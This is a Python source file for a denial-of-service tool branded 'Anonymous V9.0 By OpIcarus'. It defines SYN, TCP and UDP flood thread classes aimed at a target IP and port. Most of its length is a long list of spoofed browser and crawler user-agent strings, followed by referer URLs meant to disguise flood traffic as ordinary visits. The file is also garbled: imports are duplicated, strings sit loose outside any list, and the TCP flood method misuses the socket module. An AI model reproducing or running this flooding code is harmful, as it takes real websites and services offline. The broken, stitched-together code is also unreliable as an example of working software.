#!/usr/bin/env python #!/usr/bin/env python2 #!/usr/bin/env python3 #!/usr/bin/python2 #!/usr/bin/python3 #coding: utf-8 #Product: HK #Anonymous V9.0 By OpIcarus #___________ V9.0 ANONYMOUS import random import socket import threading import time import datetime import urllib2 import urllib import re import sys import optparse import os import urlparse import string import random import socket import time import random import random import socket import threading import datetime import random, socket, threading, time, datetime, urllib2, urllib, re, sys, optparse, os, urlparse global term from threading import Thread from multiprocessing import Process, Manager import urlparse, ssl import sys, getopt, random, time import atexit from gzip import GzipFile from threading import Lock from logging import getLogger from cStringIO import StringIO from httplib import HTTPMessage from urllib import urlencode, quote import urllib2 import cookielib cookielib.debug = lambda *a: None from socket import setdefaulttimeout class synFlood(threading.Thread): def __init__(self, ip, port, packets): self.ip = ip self.port = port self.packets = packets self.syn = socket.socket() threading.Thread.__init__(self) def run(self): for i in range(self.packets): try: self.syn.connect((self.ip, self.port)) except: pass class tcpFlood(threading.Thread): def __init__(self, ip, port, size, packets): self.ip = ip self.port = port self.size = size self.packets = packets self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) threading.Thread.__init__(self) def run(self): for i in range(self.packets): try: bytes = random._urandom(self.size) socket.connect(self.ip, self.port) socket.setblocking(0) socket.sendto(bytes,(self.ip, self.port)) except: pass class udpFlood(threading.Thread): def __init__(self, ip, port, size, packets): self.ip = ip self.port = port self.size = size self.packets = packets self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) threading.Thread.__init__(self) def run(self): for i in range(self.packets): try: bytes = random._urandom(self.size) if self.port == 0: self.port = random.randrange(1, 65535) self.udp.sendto(bytes,(self.ip, self.port)) except: pass url='' host='' headers_useragents=[] headers_referers=[] keyword_top=[] request_counter=0 flag=0 safe=0 def inc_counter(): global request_counter request_counter+=1 def set_flag(val): global flag flag=val def set_safe(): global safe safe=1 def getUserAgent(): platform = random.choice(['Macintosh', 'Windows', 'X11']) if platform == 'Macintosh': os = random.choice(['68K', 'PPC']) elif platform == 'Windows': os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8']) elif platform == 'X11': os = random.choice(['Linux i686', 'Linux x86_64']) browser = random.choice(['chrome', 'firefox', 'ie']) if browser == 'chrome': webkit = str(random.randint(500, 599)) version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999)) return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit elif browser == 'firefox': currentYear = datetime.date.today().year year = str(random.randint(2000, currentYear)) month = random.randint(1, 12) if month < 10: month = '0' + str(month) else: month = str(month) day = random.randint(1, 30) if day < 10: day = '0' + str(day) else: day = str(day) gecko = year + month + day version = str(random.randint(1, 21)) + '.0' return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version elif browser == 'ie': version = str(random.randint(1, 10)) + '.0' engine = str(random.randint(1, 5)) + '.0' option = random.choice([True, False]) if option == True: token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; ' else: token = '' return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')' "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)" "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)" "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)" "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0" "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)" "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413" "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)" "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)" "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0" "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16" "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)" "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7" "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0" "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)" "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)" "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007" "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)" "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0" "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)" "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)" "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)" "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)" "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)" "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)" "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0" "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)" "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413" "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)" "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)" "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0" "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16" "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)" "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7" "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0" "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)" "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)" "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007" "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3" "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0" "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0" "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0" "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)", "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00" "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14" "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02" "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00" "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00" "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)" "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)" "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7", "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5", "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10", "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3", "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)" "facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" "Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)", "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/)" "Mozilla/5.0 (compatible; SEOdiver/1.0; +http://www.seodiver.com/bot)" "Mozilla/5.0 (compatible; SEOkicks-Robot; +http://www.seokicks.de/robot.html)" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)" "Mozilla/5.0 (compatible; Mp3Bot/0.7; +http://mp3realm.org/mp3bot/)" "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" "Mozilla/5.0 (compatible; SecretSerachEngineLabs.com-SBSearch/0.9; http://www.secretsearchenginelabs.com/secret-web-crawler.php)", "Googlebot-Image/1.0 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search", "Mozilla/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit/533.1 (KHTML,like Gecko) Version/4.0 Mobile Safari/533.1 (compatible; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b" "Mozilla/5.0 (compatible; Sosoimagespider/2.0; +http://help.soso.com/soso-image-spider.htm)" "Sosospider+(+http://help.soso.com/webspider.htm)" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0" "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html;" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/1.1; " reFerers = [ "http://host-tracker.com/check_page/?furl=" "http://jigsaw.w3.org/css-validator/validator?uri=" "http://www.google.com/translate?u=" "http://anonymouse.org/cgi-bin/anon-www.cgi/" "http://www.onlinewebcheck.com/?url=" "http://feedvalidator.org/check.cgi?url=" "http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=" "http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=" "http://validator.w3.org/feed/check.cgi?url=" "http://www.pagescoring.com/website-speed-test/?url=" "http://check-host.net/check-http?host=" "http://checksite.us/?url=" "http://jobs.bloomberg.com/search?q=" "http://www.bing.com/search?q=" "https://www.yandex.com/yandsearch?text=" "http://www.google.com/?q=" "https://add.my.yahoo.com/rss?url=" "http://www.bestbuytheater.com/events/search?q=" "http://www.shodanhq.com/search?q=" 